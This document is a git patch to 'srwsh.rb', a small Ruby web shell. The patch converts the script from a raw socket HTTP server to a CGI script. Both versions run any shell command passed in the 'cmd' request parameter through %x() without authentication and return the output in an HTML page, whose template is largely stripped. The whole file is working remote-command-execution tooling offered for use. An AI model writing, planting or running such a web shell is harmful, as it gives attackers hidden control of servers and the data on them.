From e8e1a379c38240ec0db89f01be6175012d72a0e8 Mon Sep 17 00:00:00 2001 From: Ricardo <100010099+astreuzz@users.noreply.github.com> Date: Thu, 26 Jan 2023 15:46:22 -0400 Subject: [PATCH] Update srwsh.rb --- ruby/srwsh.rb | 30 +++++++++--------------------- 1 file changed, 9 insertions(+), 21 deletions(-) diff --git a/ruby/srwsh.rb b/ruby/srwsh.rb index 8525d3d..50b5aef 100644 --- a/ruby/srwsh.rb +++ b/ruby/srwsh.rb @@ -2,43 +2,31 @@ # frozen_string_literal: true # Small Ruby Web Shell -# This a Ruby web shell written with sockets only -require 'socket' require 'cgi' -ipaddr, port = ARGV.size == 2 ? ARGV[0..] : ['localhost', 4000] -http = TCPServer.new(ipaddr, port) -response = DATA.read +print "Content-type: text/html\r\n\r\n" -puts("Pure HTTP server started at #{ipaddr}:#{port}") +cgi = CGI.new +html = DATA.read -while con = http.accept - data = con.gets - output = '' - - if data =~ %r{/\?cmd=(.*)\sHTTP} - output = %x(#{CGI.unescape($1)}) rescue "Command error: #{$1}" - end - - con.print('HTTP/1.1 200 OK\r\n') - con.print('Content-Type: text/html\r\n\r\n') - con.puts(response % output) - - con.close +if cgi["cmd"] + output = %x(#{CGI.unescape(cgi['cmd'])}) rescue "Command error: #{cgi['cmd']}" end +puts html % [File.basename($0), output] + __END__ -
+

Small Ruby Web Shell

- +